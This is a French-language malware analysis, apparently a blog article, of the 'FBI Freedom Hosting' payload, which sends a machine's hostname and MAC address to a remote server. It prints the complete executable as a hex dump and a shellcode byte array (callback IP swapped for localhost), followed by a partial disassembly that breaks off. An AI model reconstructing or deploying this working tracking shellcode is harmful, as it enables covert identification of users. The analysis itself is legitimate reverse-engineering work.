I. Introduction
Vous trouverez plusieurs sites sur le "FBI Freedom Hosting
Payload malware"
Vous trouverez différent pointeur vers la source étudié
En bref, cette charge utile se connecte à au site
65.222.202.54:80 et lui envoie une requête HTTP incluant le nom d'hôte (via
gethostname ()) et l'adresse MAC de l'hôte local (via l'appel l'api SendARP(..)
sur gethostbyname () -> h_addr_list). Après cela, il nettoie l'état par
contre semble délibérément planter vu le code de sortie.
Et de ce fait pas, il n'y a pas une sortie propre du
programme. Cela peut être volontaire
Comme sa mission est réalisé sur la récolte des données de
la cible. Le fait de planté
Peut laissé croire à un fichier mal téléchargé pour
l'utilisateur
L'intérêt que l'on peut avoir pour ce type de binaire était
purement l'axe de l'analyse de la charge et les techniques mise en oeuvre.
II. Reconstruction de la charge
L'intérêt de la première référence est que l'on dispose du
dump de l'exécutable Windows
0000 4D
5A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 MZ..............
0010 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00
00 00 00 00 00 00 00 00 00 00 00 40 00 00 00
............@...
0040 50 45 00 00 4C 01 01 00 5D BE 45 45 00 00 00 00 PE..L...].EE....
0050 00
00 00 00 E0 00 03 01 0B 01 08 00 BC 03 00 00 ................
0060 00
00 00 00 00 00 00 00 60 01 00 00 60
01 00 00 ........`...`...
0070 1C
05 00 00 00 00 40 00 01 00 00 00 01 00 00 00
......@.........
0080 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................
0090 1C
05 00 00 60 01 00 00 00 00 00 00 02 00 00 04
....`...........
00A0 00
00 10 00 00 10 00 00 00 00 10 00 00 10 00 00
................
00B0 00
00 00 00 10 00 00 00 00 00 00 00 00 00 00 00
................
00C0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00E0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00F0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0100 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0110 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0120 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0130 00
00 00 00 00 00 00 00 2E 74 65 78 74 00 00 00 .........text...
0140 BC
03 00 00 60 01 00 00 BC 03 00 00 60
01 00 00 ....`.......`...
0150 00
00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ............ ..`
0160 60 FC E8 8A 00 00 00 60 89 E5 31 D2 64
8B 52 30
`......`..1.d.R0
0170 8B 52 0C 8B 52 14
8B 72 28 0F B7 4A 26 31 FF 31
.R..R..r(..J&1.1
0180 C0
AC 3C 61 7C 02 2C 20 C1 CF 0D
01 C7 E2 F0 52 ..<a|., .......R
0190 57 8B 52 10 8B
42 3C 01 D0 8B 40 78 85 C0 74 4A
W.R..B<...@x..tJ
01A0 01
D0 50 8B 48 18
8B 58 20 01 D3 E3 3C 49 8B 34 ..P.H..X ...<I.4
01B0 8B
01 D6 31 FF 31 C0 AC C1 CF 0D
01 C7 38 E0 75
...1.1.......8.u
01C0 F4
03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01
D3 66 ..}.;}$u.X.X$..f
01D0 8B
0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89
44 24 ..K.X.........D$
01E0 24 5B 5B 61 59
5A 51 FF E0 58 5F 5A 8B 12 EB 86 $[[aYZQ..X_Z....
01F0 05
5D 81 BD E9 02 00 00 47 45 54 20 75 70 8D 85
.]......GET up..
0200 D1 02 00 00 50
68 4C 77 26
07 FF D5 85 C0 74 5E
....PhLw&.....t^
0210 8D 85 D8 02 00 00 50 68
4C 77 26 07 FF D5 85 C0 ......PhLw&.....
0220 74 4C BB 90 01 00 00 29
DC 54 53 68
29 80 6B 00
tL.....).TSh).k.
0230 FF
D5 01 DC 85 C0 75 36 50 50 50 50 40 50 40 50
......u6PPPP@P@P
0240 68 EA 0F DF E0 FF D5 31 DB F7 D3 39 C3 74 1F 89
h......1...9.t..
0250 C3
6A 10 8D B5 E1 02 00 00 56 53 68 99 A5 74 61 .j.......VSh..ta
0260 FF
D5 85 C0 74 1F FE 8D 89 00 00 00 75 E3 80
BD ....t.......u...
0270 4F
02 00 00 01 74 07 E8 3B 01 00 00 EB 05 E8 4D
O....t..;......M
0280 01
00 00 FF E7 B8 00 01 00 00 29 C4 89
E2 52 50
..........)...RP
0290 52 68 B6 49 DE 01 FF D5 5F 81 C4 00 01 00 00 85 Rh.I...._.......
02A0 C0
0F 85 F2 00 00 00 57 E8 F9 00
00 00 5E 89 CA .......W.....^..
02B0 8D
BD E9 02 00 00 E8 EB 00 00 00 4F 83 FA 20 7C ...........O.. |
02C0 05
BA 20 00 00 00 89 D1 56 F3 A4 B9 0D 00 00 00 .. .....V.......
02D0 8D
B5 C4 02 00 00 F3 A4 89 BD 4B 02 00 00 5E 56 ..........K...^V
02E0 68 A9 28 34 80 FF D5 85 C0 0F 84
AA 00 00 00 66 h.(4...........f
02F0 8B 48 0A 66 83 F9
04 0F 82 9C 00 00 00 8D 40 0C
.H.f..........@.
0300 8B
00 8B 08 8B 09 B8 00 01 00 00 50 89
E7 29 C4 ...........P..).
0310 89 E6 57 56 51 51 68 48 72 D2 B8 FF D5 85
C0 81 ..WVQQhHr.......
0320 C4
04 01 00 00 0F B7 0F 83 F9 06 72
6C B9 06 00 ...........rl...
0330 00
00 B8 10 00 00 00 29 C4 89 E7 89 CA D1 E2 50
.......).......P
0340 52 31 D2 8A 16
88 D0 24 F0 C0 E8 04 3C 09 77 04 R1.....$....<.w.
0350 04 30 EB 02 04 37 88
07 47 88 D0 24
0F 3C 09 77 .0...7..G..$.<.w
0360 04
04 30 EB 02 04 37 88 07 47 46 E2
D4 59 29 CF ..0...7..GF..Y).
0370 89 FE 58 01 C4 8B BD 4B 02 00 00 F3
A4 C6 85 4F ..X....K.......O
0380 02
00 00 01 E8 2E 00 00 00 31 C0 50
51 29 CF 4F
.........1.PQ).O
0390 57 53 68 C2 EB
38 5F FF D5 53 68
75 6E 4D 61 FF
WSh..8_..ShunMa.
03A0 D5
E9 C8 FE FF FF 31 C9 F7 D1 31
C0 F2 AE F7 D1 ......1...1.....
03B0 49 C3 00 00 00 00 00 8D BD E9 02 00 00 E8 E4 FF
I...............
03C0 FF
FF 4F B9 4F 00 00 00 8D B5 75 02 00 00 F3 A4
..O.O.....u.....
03D0 8D
BD E9 02 00 00 E8 CB FF FF FF C3 0D 0A 43 6F
..............Co
03E0 6E
6E 65 63 74
69 6F 6E 3A 20 6B 65 65 70 2D 61 nnection: keep-a
03F0 6C 69 76 65 0D 0A
41 63 63
65 70 74
3A 20 2A 2F live..Accept: */
0400 2A
0D 0A 41 63 63
65 70 74
2D 45 6E 63 6F 64
69 *..Accept-Encodi
0410 6E 67 3A 20 67 7A
69 70 0D 0A 0D 0A 00 83 C7 0E ng:
gzip........
0420 31 C9 F7 D1 31 C0 F3 AE 4F FF E7 0D
0A 43 6F 6F 1...1...O....Coo
0430 6B 69 65 3A 20 49 44 3D 77 73 32 5F 33 32 00 49 kie: ID=ws2_32.I
0440 50 48 4C 50 41 50 49 00 02
00 00 50 41
DE CA 36 PHLPAPI....PA..6
0450 47 45 54 20 2F 30 35 63 65 61 34 64 65 2D 39 35 GET /05cea4de-95
0460 31 64 2D 34 30 33 37 2D 62 66 38 66 2D 66 36 39 1d-4037-bf8f-f69
0470 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2F 31
055b279bb HTTP/1
0480 2E 31 0D 0A 48 6F 73
74 3A 20 00 00 00 00 00 00
.1..Host: ......
0490 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04A0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04B0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04C0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04D0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04E0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
04F0 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0500 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 ................
0510 00 00 00 00 00 00 00 00 00 00 00 90
............
|
qui permet de reconstruire le binaire directement à partir
du dump avec des outils adaptés
Dans notre cas, nous utilisons un outils maison conçu pour
dumper des binaires, mais également à partir de flux Dump de passer a
différents mode et de sauvegarder en binaire ou le display. Cela est pratique
comme il existe différente façon d'avoir un dump sur différents site web.
ATTENTION DANS LA SUITE, NOUS
AVONS CHANGER LES OCTETS EN ROUGE
Car elle correspond au codage de
65.222.202.54:80 dans la suite elle est remplacé par 127.0.0.1:89 pour la
démonstration de l'analyse statique de la charge.
c'est à dire que les octets "00 50 41 DE CA 36"
sont remplacés par "00 59 7F 00 00 01"
L'extension sera .bin dans le cas de la sauvegarde binaire
pour ne pas avoir l'extension d'origine. Cela pour éviter le mauvaise
manipulation sur le l'environnement d'analyse.
Dans le cas de notre dump, c'est un exécutable assez
reconnaissable via e_magic : 0x5A4D (
Magic number "MZ")
0000 4D
5A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 MZ..............
|
Maintenant que nous avons le binaire, il nous suffit de le
passer dans un outils d'analyse de PE
pour voir la construction et la structure de l'exécutable.
Dans la suite, nous utilisons un outil maison "Easy PE
File Analyzer". Mais vous pouvez utilisé le classique "CFF Explorer
VII" ou "PE
Explorer"
Nous allons d'abord aller cherche
"AddressOfEntryPoint" du programme et le début de la section
".text" pour connaître l'emplacement ou démarre le programme est le
code associé
Comme nous pouvons le voir AddressOfEntryPoint correspond à
0x00000160
et le début du la section ".text" à pour
VirtualAddress également 0x00000160
Ce qui signifie que le démarrage du programme ce fait au premier octet de la section
Ce cas est plutôt assez peu courant. De plus il ne dispose
que d'une section qui montre la génération de l'exécutable n'a pas était faite
avec un IDE.
Notre outil permet de visualiser les zones binaires avec
deux mode d'affichage Dump ou Shellcode. Delà nous n'avons plus qu'a copier le
contenu dans un tableau comme celui en dessous:
\x60\xFC\xE8\x8A\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30
\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31
\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52
\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A
\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34
\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75
\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66
\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24
\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86
\x90\x5D\x81\xBD\xE9\x02\x00\x00\x47\x45\x54\x20\x75\x70\x8D\x85
\xD1\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0\x74\x5E
\x8D\x85\xD8\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0
\x74\x4C\xBB\x90\x01\x00\x00\x29\xDC\x54\x53\x68\x29\x80\x6B\x00
\xFF\xD5\x01\xDC\x85\xC0\x75\x36\x50\x50\x50\x50\x40\x50\x40\x50
\x68\xEA\x0F\xDF\xE0\xFF\xD5\x31\xDB\xF7\xD3\x39\xC3\x74\x1F\x89
\xC3\x6A\x10\x8D\xB5\xE1\x02\x00\x00\x56\x53\x68\x99\xA5\x74\x61
\xFF\xD5\x85\xC0\x74\x1F\xFE\x8D\x89\x00\x00\x00\x75\xE3\x80\xBD
\x4F\x02\x00\x00\x01\x74\x07\xE8\x3B\x01\x00\x00\xEB\x05\xE8\x4D
\x01\x00\x00\xFF\xE7\xB8\x00\x01\x00\x00\x29\xC4\x89\xE2\x52\x50
\x52\x68\xB6\x49\xDE\x01\xFF\xD5\x5F\x81\xC4\x00\x01\x00\x00\x85
\xC0\x0F\x85\xF2\x00\x00\x00\x57\xE8\xF9\x00\x00\x00\x5E\x89\xCA
\x8D\xBD\xE9\x02\x00\x00\xE8\xEB\x00\x00\x00\x4F\x83\xFA\x20\x7C
\x05\xBA\x20\x00\x00\x00\x89\xD1\x56\xF3\xA4\xB9\x0D\x00\x00\x00
\x8D\xB5\xC4\x02\x00\x00\xF3\xA4\x89\xBD\x4B\x02\x00\x00\x5E\x56
\x68\xA9\x28\x34\x80\xFF\xD5\x85\xC0\x0F\x84\xAA\x00\x00\x00\x66
\x8B\x48\x0A\x66\x83\xF9\x04\x0F\x82\x9C\x00\x00\x00\x8D\x40\x0C
\x8B\x00\x8B\x08\x8B\x09\xB8\x00\x01\x00\x00\x50\x89\xE7\x29\xC4
\x89\xE6\x57\x56\x51\x51\x68\x48\x72\xD2\xB8\xFF\xD5\x85\xC0\x81
\xC4\x04\x01\x00\x00\x0F\xB7\x0F\x83\xF9\x06\x72\x6C\xB9\x06\x00
\x00\x00\xB8\x10\x00\x00\x00\x29\xC4\x89\xE7\x89\xCA\xD1\xE2\x50
\x52\x31\xD2\x8A\x16\x88\xD0\x24\xF0\xC0\xE8\x04\x3C\x09\x77\x04
\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x88\xD0\x24\x0F\x3C\x09\x77
\x04\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x46\xE2\xD4\x59\x29\xCF
\x89\xFE\x58\x01\xC4\x8B\xBD\x4B\x02\x00\x00\xF3\xA4\xC6\x85\x4F
\x02\x00\x00\x01\xE8\x2E\x00\x00\x00\x31\xC0\x50\x51\x29\xCF\x4F
\x57\x53\x68\xC2\xEB\x38\x5F\xFF\xD5\x53\x68\x75\x6E\x4D\x61\xFF
\xD5\xE9\xC8\xFE\xFF\xFF\x31\xC9\xF7\xD1\x31\xC0\xF2\xAE\xF7\xD1
\x49\xC3\x00\x00\x00\x00\x01\x8D\xBD\xE9\x02\x00\x00\xE8\xE4\xFF
\xFF\xFF\x4F\xB9\x4F\x00\x00\x00\x8D\xB5\x75\x02\x00\x00\xF3\xA4
\x8D\xBD\xE9\x02\x00\x00\xE8\xCB\xFF\xFF\xFF\xC3\x0D\x0A\x43\x6F
\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x6B\x65\x65\x70\x2D\x61
\x6C\x69\x76\x65\x0D\x0A\x41\x63\x63\x65\x70\x74\x3A\x20\x2A\x2F
\x2A\x0D\x0A\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69
\x6E\x67\x3A\x20\x67\x7A\x69\x70\x0D\x0A\x0D\x0A\x00\x83\xC7\x0E
\x31\xC9\xF7\xD1\x31\xC0\xF3\xAE\x4F\xFF\xE7\x0D\x0A\x43\x6F\x6F
\x6B\x69\x65\x3A\x20\x49\x44\x3D\x77\x73\x32\x5F\x33\x32\x00\x49
\x50\x48\x4C\x50\x41\x50\x49\x00\x02\x00\x00\x59\x7F\x00\x00\x01
\x47\x45\x54\x20\x2F\x30\x35\x63\x65\x61\x34\x64\x65\x2D\x39\x35
\x31\x64\x2D\x34\x30\x33\x37\x2D\x62\x66\x38\x66\x2D\x66\x36\x39
\x30\x35\x35\x62\x32\x37\x39\x62\x62\x20\x48\x54\x54\x50\x2F\x31
\x2E\x31\x0D\x0A\x48\x6F\x73\x74\x3A\x20\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90
|
Maintenant pour pouvons démarrer l'analyse.
III. L'analyse de la charge
A partir de maintenant, nous avons plus qu'a passer ce bloc
dans un désassembleur X86
Dans notre cas, nous utilisons l'un de nos outil
"EzShellCodeAnalyzerX32.exe" déjà vu dans d'autre de nos articles.
Pour vous permettre de faire vos recherches, nous mettons le
listing obtenu en dessous:
00000000: 60 PUSHAD
00000001: FC CLD
// Clear Direction Flag
00000002: E8 8A 00 00 00 CALL 0000008Ah (+8Ah ->:00000091)
00000007: 60 PUSHAD
00000008: 89 E5 MOV
EBP,ESP
0000000A: 31 D2 XOR
EDX,EDX
0000000C: 64 8B 52 30 MOV EDX,DWORD PTR FS:[EDX+0x30]
00000010: 8B 52 0C MOV
EDX,DWORD PTR DS:[EDX+0Ch]
00000013: 8B 52 14 MOV
EDX,DWORD PTR DS:[EDX+14h]
00000016: 8B 72 28 MOV
ESI,DWORD PTR DS:[EDX+28h]
00000019: 0F B7 4A 26 MOVZX ECX,WORD PTR [EDX+26h]
0000001D: 31 FF XOR
EDI,EDI
0000001F: 31 C0 XOR
EAX,EAX
00000021: AC LODSB
00000022: 3C 61 CMP
AL,61h
00000024: 7C 02 JL
02h (rel8)(+02h ->:00000028)
00000026: 2C 20 SUB
AL,20h
00000028: C1 CF 0D ROR
EDI,0Dh (13)
0000002B: 01 C7 ADD
EDI,EAX
0000002D: E2 F0 LOOP
F0h (-FFFFFFF0h=>:0000001F) Dec ECX or CX jump if !=0
0000002F: 52 PUSH
EDX
00000030: 57 PUSH
EDI
00000031: 8B 52 10 MOV
EDX,DWORD PTR DS:[EDX+10h]
00000034: 8B 42 3C MOV
EAX,DWORD PTR[EDX+0x3C]
00000037: 01 D0 ADD
EAX,EDX
00000039: 8B 40 78 MOV
EAX,DWORD PTR[EAX+0x78]
0000003C: 85 C0 TEST
EAX,EAX
0000003E: 74 4A JZ
0x4A (+4Ah ->:0000008A)
00000040: 01 D0 ADD
EAX,EDX
00000042: 50 PUSH
EAX
00000043: 8B 48 18 MOV
ECX,DWORD PTR[EAX+18h]
00000046: 8B 58 20 MOV
EBX,DWORD PTR [EAX+20h]
00000049: 01 D3 ADD
EBX,EDX
0000004B: E3 3C JECXZ
3Ch (-FFFFFFC4h ->:00000089)
0000004D: 49 DEC
ECX
0000004E: 8B 34 8B MOV
ESI,DWORD PTR[EBX+ECX*4]
00000051: 01 D6 ADD
ESI,EDX
00000053: 31 FF XOR
EDI,EDI
00000055: 31 C0 XOR
EAX,EAX
00000057: AC LODSB
00000058: C1 CF 0D ROR
EDI,0Dh (13)
0000005B: 01 C7 ADD
EDI,EAX
0000005D: 38 E0 CMP
AL,AH
0000005F: 75 F4 JNZ
F4h (rel8)(-0Ch ->:00000055)
00000061: 03 7D F8 ADD
EDI,DWORD PTR [EBP-08h]
00000064: 3B 7D 24 CMP
EDI,DWORD PTR [EBP+24h]
00000067: 75 E2 JNZ
E2h (rel8)(-1Eh ->:0000004B)
00000069: 58 POP
EAX
0000006A: 8B 58 24 MOV
EBX,DWORD PTR [EAX+24h]
0000006D: 01 D3 ADD
EBX,EDX
0000006F: 66 8B 0C 4B MOV CX,WORD PTR DS:[EBX+ECX*2]
00000073: 8B 58 1C MOV
EBX,DWORD PTR [EAX+1Ch]
00000076: 01 D3 ADD
EBX,EDX
00000078: 8B 04 8B MOV
EAX,DWORD PTR[EBX+ECX*4]
0000007B: 01 D0 ADD
EAX,EDX
0000007D: 89 44 24 24 MOV DWORD PTR[ESP+24h],EAX
00000081: 5B POP
EBX
00000082: 5B POP
EBX
00000083: 61 POPAD
00000084: 59 POP
ECX
00000085: 5A POP
EDX
00000086: 51 PUSH
ECX
00000087: FF E0 JMP
EAX
00000089: 58 POP
EAX
0000008A: 5F POP
EDI
0000008B: 5A POP
EDX
0000008C: 8B 12 MOV
EDX,DWORD PTR [EDX]
0000008E: EB 86 JMP
86h (-7Ah ->:00000016)
00000090: 90 NOP
00000091: 5D POP
EBP
00000092: 81 BD E9 02 00 00 47 45 54 20 CMP DWORD
PTR[EBP+0x000002E9],0x20544547
0000009C: 75 70 JNZ
70h (rel8)(+70h ->:0000010E)
0000009E: 8D 85 D1 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D1h]
000000A4: 50 PUSH
EAX
000000A5: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
000000AA: FF D5 CALL
EBP
000000AC: 85 C0 TEST
EAX,EAX
000000AE: 74 5E JZ
0x5E (+5Eh ->:0000010E)
000000B0: 8D 85 D8 02 00 00 LEA EAX,DWORD PTR[EBP + 000002D8h]
000000B6: 50 PUSH
EAX
000000B7: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
000000BC: FF D5 CALL
EBP
000000BE: 85 C0 TEST
EAX,EAX
000000C0: 74 4C JZ
0x4C (+4Ch ->:0000010E)
000000C2: BB 90 01 00 00 MOV EBX,00000190h ""
000000C7: 29 DC SUB
ESP,EBX
000000C9: 54 PUSH
ESP
000000CA: 53 PUSH
EBX
000000CB: 68 29 80 6B 00 PUSH 006B8029h ")€k"
(006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000D0: FF D5 CALL
EBP
000000D2: 01 DC ADD
ESP,EBX
000000D4: 85 C0 TEST
EAX,EAX
000000D6: 75 36 JNZ
36h (rel8)(+36h ->:0000010E)
000000D8: 50 PUSH
EAX
000000D9: 50 PUSH
EAX
000000DA: 50 PUSH
EAX
000000DB: 50 PUSH
EAX
000000DC: 40 INC
EAX
000000DD: 50 PUSH
EAX
000000DE: 40 INC EAX
000000DF: 50 PUSH
EAX
000000E0: 68 EA 0F DF E0 PUSH E0DF0FEAh "êß"
(E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000E5: FF D5 CALL
EBP
000000E7: 31 DB XOR EBX,EBX
000000E9: F7 D3 NOT
EBX
000000EB: 39 C3 CMP
EBX,EAX
000000ED: 74 1F JZ
0x1F (+1Fh ->:0000010E)
000000EF: 89 C3 MOV
EBX,EAX
000000F1: 6A 10 PUSH
10h (16) ''
000000F3: 8D B5 E1 02 00 00 LEA ESI,[EBP+0x000002E1]
000000F9: 56 PUSH
ESI
000000FA: 53 PUSH
EBX
000000FB: 68 99 A5 74 61 PUSH 6174A599h "™¥ta"
(6174A599=Hash[Ror13-Hybrid](ws2_32.dll!connect))
00000100: FF D5 CALL
EBP
00000102: 85 C0 TEST
EAX,EAX
00000104: 74 1F JZ
0x1F (+1Fh ->:00000125)
00000106: FE 8D 89 00 00 00 DEC BYTE PTR[EBP+0x00000089]
0000010C: 75 E3 JNZ
E3h (rel8)(-1Dh ->:000000F1)
0000010E: 80 BD 4F 02 00 00 01 CMP BYTE PTR[EBP+0x0000024F],0x01
00000115: 74 07 JZ
0x07 (+07h ->:0000011E)
00000117: E8 3B 01 00 00 CALL 0000013Bh (+13Bh ->:00000257)
0000011C: EB 05 JMP
05h +05h ->:00000123)
0000011E: E8 4D 01 00 00 CALL 0000014Dh (+14Dh ->:00000270)
00000123: FF E7 JMP
EDI
00000125: B8 00 01 00 00 MOV EAX, 00000100h ""
0000012A: 29 C4 SUB
ESP,EAX
0000012C: 89 E2 MOV
EDX,ESP
0000012E: 52 PUSH
EDX
0000012F: 50 PUSH
EAX
00000130: 52 PUSH
EDX
00000131: 68 B6 49 DE 01 PUSH 01DE49B6h "¶IÞ"
(01DE49B6=Hash[ROR13-Hybrid](ws2_32.dll!gethostname))
00000136: FF D5 CALL
EBP
00000138: 5F POP
EDI
00000139: 81 C4 00 01 00 00 ADD ESP,00000100h (256)
0000013F: 85 C0 TEST
EAX,EAX
00000141: 0F 85 F2 00 00 00 JNE 000000F2h (+F2h ->:00000239)
00000147: 57 PUSH
EDI
00000148: E8 F9 00 00 00 CALL 000000F9h (+F9h ->:00000246)
0000014D: 5E POP
ESI
0000014E: 89 CA MOV
EDX,ECX
00000150: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]
00000156: E8 EB 00 00 00 CALL 000000EBh (+EBh ->:00000246)
0000015B: 4F DEC
EDI
0000015C: 83 FA 20 CMP
EDX,+20h
0000015F: 7C 05 JL
05h (rel8)(+05h ->:00000166)
00000161: BA 20 00 00 00 MOV EDX, 00000020h
00000166: 89 D1 MOV
ECX,EDX
00000168: 56 PUSH
ESI
00000169: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0000016B: B9 0D 00 00 00 MOV ECX, 0000000Dh "
"
00000170: 8D B5 C4 02 00 00 LEA ESI,[EBP+0x000002C4]
00000176: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00000178: 89 BD 4B 02 00 00 MOV DWORD PTR[EBP+0000024Bh],EDI
0000017E: 5E POP
ESI
0000017F: 56 PUSH
ESI
00000180: 68 A9 28 34 80 PUSH 803428A9h "©(4€" (803428A9=Hash[ROR13-Hybrid](ws2_32.dll!gethostbyname))
00000185: FF D5 CALL
EBP
00000187: 85 C0 TEST
EAX,EAX
00000189: 0F 84
AA 00 00 00 JE 000000AAh
(+AAh ->:00000239)
0000018F: 66 8B 48 0A MOV CX,WORD PTR[EAX+0x0A]
00000193: 66 83 F9 04 CMP CX,0x0004
00000197: 0F 82 9C 00 00 00 JB Loc_00000239
0000019D: 8D 40 0C LEA
EAX,DWORD PTR [EAX+0Ch]
000001A0: 8B 00 MOV
EAX,DWORD PTR [EAX]
000001A2: 8B 08 MOV
ECX,DWORD PTR [EAX]
000001A4: 8B 09 MOV
ECX,DWORD PTR [ECX]
000001A6: B8 00 01 00 00 MOV EAX, 00000100h ""
000001AB: 50 PUSH
EAX
000001AC: 89 E7 MOV
EDI,ESP
000001AE: 29 C4 SUB
ESP,EAX
000001B0: 89 E6 MOV
ESI,ESP
000001B2: 57 PUSH
EDI
000001B3: 56 PUSH
ESI
000001B4: 51 PUSH
ECX
000001B5: 51 PUSH
ECX
000001B6: 68 48 72 D2 B8 PUSH B8D27248h "HrÒ¸"
(B8D27248=Hash[Ror13-Hybrid](iphlpapi.dll!SendARP))
000001BB: FF D5 CALL
EBP
000001BD: 85 C0 TEST
EAX,EAX
000001BF: 81 C4 04 01 00 00 ADD ESP,00000104h (260)
000001C5: 0F B7 0F MOVZX
ECX,WORD PTR [EDI]
000001C8: 83 F9 06 CMP
EAX,+06h
000001CB: 72 6C JB
(rel8) 6Ch (-FFFFFF94h ->:00000239)
000001CD: B9 06 00 00 00 MOV ECX, 00000006h ""
000001D2: B8 10 00 00 00 MOV EAX, 00000010h ""
000001D7: 29 C4 SUB
ESP,EAX
000001D9: 89 E7 MOV
EDI,ESP
000001DB: 89 CA MOV
EDX,ECX
000001DD: D1 E2 SHL
EDX,1
000001DF: 50 PUSH
EAX
000001E0: 52 PUSH
EDX
000001E1: 31 D2 XOR
EDX,EDX
000001E3: 8A 16 MOV
DL, BYTE PTR [ESI]
000001E5: 88 D0 MOV
AL,DL
000001E7: 24 F0 AND
AL,0xF0
000001E9: C0 E8 04 SHR
AL,0x04
000001EC: 3C 09 CMP
AL,09h
000001EE: 77 04 JA
04h (Jump if Above)(+04h ->:000001F4)
000001F0: 04 30 ADD
AL,0x30
000001F2: EB 02 JMP
02h +02h ->:000001F6)
000001F4: 04 37 ADD
AL,0x37
000001F6: 88 07 MOV
BYTE PTR[EDI],AL
000001F8: 47 INC
EDI
000001F9: 88 D0 MOV
AL,DL
000001FB: 24 0F AND
AL,0x0F
000001FD: 3C 09 CMP
AL,09h
000001FF: 77 04 JA
04h (Jump if Above)(+04h ->:00000205)
00000201: 04 30 ADD
AL,0x30
00000203: EB 02 JMP
02h +02h ->:00000207)
00000205: 04 37 ADD
AL,0x37
00000207: 88 07 MOV
BYTE PTR[EDI],AL
00000209: 47 INC
EDI
0000020A: 46 INC
ESI
0000020B: E2 D4 LOOP
D4h (-FFFFFFD4h=>:000001E1) Dec ECX or CX jump if !=0
0000020D: 59 POP
ECX
0000020E: 29 CF SUB
EDI,ECX
00000210: 89 FE MOV
ESI,EDI
00000212: 58 POP
EAX
00000213: 01 C4 ADD
ESP,EAX
00000215: 8B BD 4B 02 00 00 MOV EDI,DWORD PTR[EBP+0x0000024B]
0000021B: F3 A4 REP
MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0000021D: C6 85 4F 02 00 00 01 MOV BYTE PTR[EBP+0000024Fh],01h =>
''
00000224: E8 2E 00 00 00 CALL 0000002Eh (+2Eh ->:00000257)
00000229: 31 C0 XOR
EAX,EAX
0000022B: 50 PUSH
EAX
0000022C: 51 PUSH
ECX
0000022D: 29 CF SUB
EDI,ECX
0000022F: 4F DEC
EDI
00000230: 57 PUSH
EDI
00000231: 53 PUSH
EBX
00000232: 68 C2 EB 38 5F PUSH 5F38EBC2h "Âë8_"
